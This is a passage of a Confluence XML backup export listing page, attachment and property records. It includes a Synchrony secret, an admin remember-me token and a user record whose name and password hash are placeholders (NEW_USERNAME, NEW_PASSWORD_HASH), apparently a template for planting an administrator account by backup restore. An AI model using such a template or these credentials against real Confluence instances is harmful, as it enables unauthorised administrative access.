<property name="stringValue"/><property name="longValue">7054</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262218</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262217</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262216</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262215</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">12098</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262214</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">27998</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262213</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">41645</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262212</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262211</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262210</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262209</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262208</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262207</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">264209</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262206</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262205</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262204</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2398</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262203</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262202</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262201</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262200</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">8</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262199</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262198</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">21488</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262197</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262196</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262195</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[32b657a6-50f7-4a6a-aaea-102ce537c268]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262194</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[c9c2e2a4-8ebc-476f-aff1-014fe92e22ec]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262193</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[d065f4f3-da57-4410-aa7b-7ff93e59a719]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262192</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[498beede-3b1d-477a-8d5a-3dea256d4fa2]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262191</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[8c741dfa-dc55-4d7e-ac8c-d3aba5a29f2a]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262190</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[9092f143-f878-4fd8-9300-7bcecd02dd02]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262189</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[576b0d46-e5b1-4ee9-9b58-c688fc240c65]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262188</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[c5547696-df60-4a59-96b4-355de741a34a]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262187</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[25c3f4c7-6755-4974-aa96-0cad5b648190]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262186</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[323e5bdf-f804-4867-920e-b006c9f2aa23]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262185</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"><![CDATA[widget]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262184</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[30ea9299-b7f7-48f4-b0b2-00d4d0b720d8]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262183</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262182</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262181</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[79351706-62d9-47b2-902e-d7f635e020b1]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262180</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[8c60c7b5-70b7-4d89-988a-b47459b91c6d]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262179</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[ad00c983-c9e3-46ab-90a4-42d016a162e5]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262178</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[aa14dd02-a368-4c44-b5a5-b997c6d519c5]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262177</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[2c73ae66-3422-43d3-8867-b99be3fd153d]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262176</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[b19a726e-f021-4386-a33a-cc4134368b29]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262175</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[be8deba8-e975-4ea2-9817-94db937c8a42]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262174</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[3c2f37c4-e102-4d53-be59-7e0ebbc80d37]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262173</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[bdb695aa-ffc0-4544-b601-08618dfe3f43]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262172</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[0e76d5df-8079-47bd-afe7-a90d92922657]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262171</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[f8ae6dc9-0915-416e-bd0c-2c2aed6f19c6]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262170</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[b41a9868-a5c0-4bd1-84c6-93910fcd12f6]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262169</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[20018262-63f0-4469-89b6-d52cce7086b2]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262168</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[1c198386-7ec9-48dd-a514-bbba0c4835e4]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262167</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">9</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262166</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">8</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262165</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262164</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">4</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262163</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262162</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">12</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262161</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262160</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262159</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[97a52591-901b-4e26-b38c-23180d68189c]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262158</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262157</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[566640c6-aa91-41f4-ba6b-7d02dc9ef2e4]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262156</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262155</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">3</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262154</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">5</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262153</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">6</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262152</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262151</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">7</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262150</id>
<property name="name"><![CDATA[macro-count.widget]]></property>
<property name="stringValue"><![CDATA[9-2]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262149</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">14</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262148</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[c6887e71-b34a-4cf8-b4d4-36b53ff35592]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262147</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[881dbc25-a20d-4773-b5a8-2a402abcfd9d]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262146</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[34cd463c-b2be-49e6-9006-62679d6a59f1]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262145</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[8b24739b-eaaa-404e-8897-e347c68f3974]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="Secrets" package="com.atlassian.synchrony">
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad-debug]]></id>
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
</object>
<object class="ConfluenceRememberMeToken" package="com.atlassian.confluence.user.persistence.dao">
<id name="id">622593</id>
<property name="username"><![CDATA[admin]]></property>
<property name="createdTime">1699509859137</property>
<property name="token"><![CDATA[d24ab7e045f654b651978d7fb48f0ce945461128]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557060</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[lastAuthenticated]]></property>
<property name="value"><![CDATA[1699509892791]]></property>
<property name="lowerValue"><![CDATA[1699509892791]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557059</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[passwordLastChanged]]></property>
<property name="value"><![CDATA[1699509858738]]></property>
<property name="lowerValue"><![CDATA[1699509858738]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557058</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[invalidPasswordAttempts]]></property>
<property name="value"><![CDATA[0]]></property>
<property name="lowerValue"><![CDATA[0]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557057</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[requiresPasswordChange]]></property>
<property name="value"><![CDATA[false]]></property>
<property name="lowerValue"><![CDATA[false]]></property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98306</id>
<property name="hibernateVersion">37</property>
<property name="title"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163845</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196614</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196617</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196619</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196620</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262151</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262165</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.780</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98343</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">8</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98305</id>
<property name="hibernateVersion">24</property>
<property name="title"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163847</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196615</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196618</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196622</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196623</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196626</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262161</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262164</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.784</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98344</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">7</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98310</id>
<property name="hibernateVersion">11</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262180</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.788</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98309</id>
<property name="hibernateVersion">11</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262186</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.792</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98308</id>
<property name="hibernateVersion">16</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262174</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.804</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98307</id>
<property name="hibernateVersion">16</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262176</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.879</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="InternalUser" package="com.atlassian.crowd.model.user">
<id name="id">491521</id>
<property name="name"><![CDATA[NEW_USERNAME]]></property>
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
<property name="active">true</property>
<property name="createdDate">2023-11-09 06:04:18.716</property>
<property name="updatedDate">2023-11-09 06:04:18.716</property>
<property name="firstName"><![CDATA[]]></property>
<property name="lowerFirstName"><![CDATA[]]></property>
<property name="lastName"><![CDATA[admin]]></property>
<property name="lowerLastName"><![CDATA[admin]]></property>
<property name="displayName"><![CDATA[admin]]></property>
<property name="lowerDisplayName"><![CDATA[admin]]></property>
<property name="emailAddress"><![CDATA[admin@test.com]]></property>
<property name="lowerEmailAddress"><![CDATA[admin@test.com]]></property>
<property name="externalId"><![CDATA[d1c26bc5-04d3-4c31-b230-c9454e51186d]]></property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<component name="credential"><property name="credential" type="string"><![CDATA[NEW_PASSWORD_HASH]]></property>
</component>
<collection name="credentialRecords" class="java.util.List"><element class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user"><id name="id">524289</id>
</element>
</collection>
<collection name="attributes" class="java.util.Set"><element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557058</id>
</element>
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557060</id>
</element>
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557057</id>
</element>
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557059</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98330</id>
<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262172</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.895</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98341</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[step05-04.png]]></property>
<property name="lowerTitle"><![CDATA[step05-04.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262254</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262255</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262256</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262260</id>
</element>
</collection>
<property name="version">3</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98329</id>
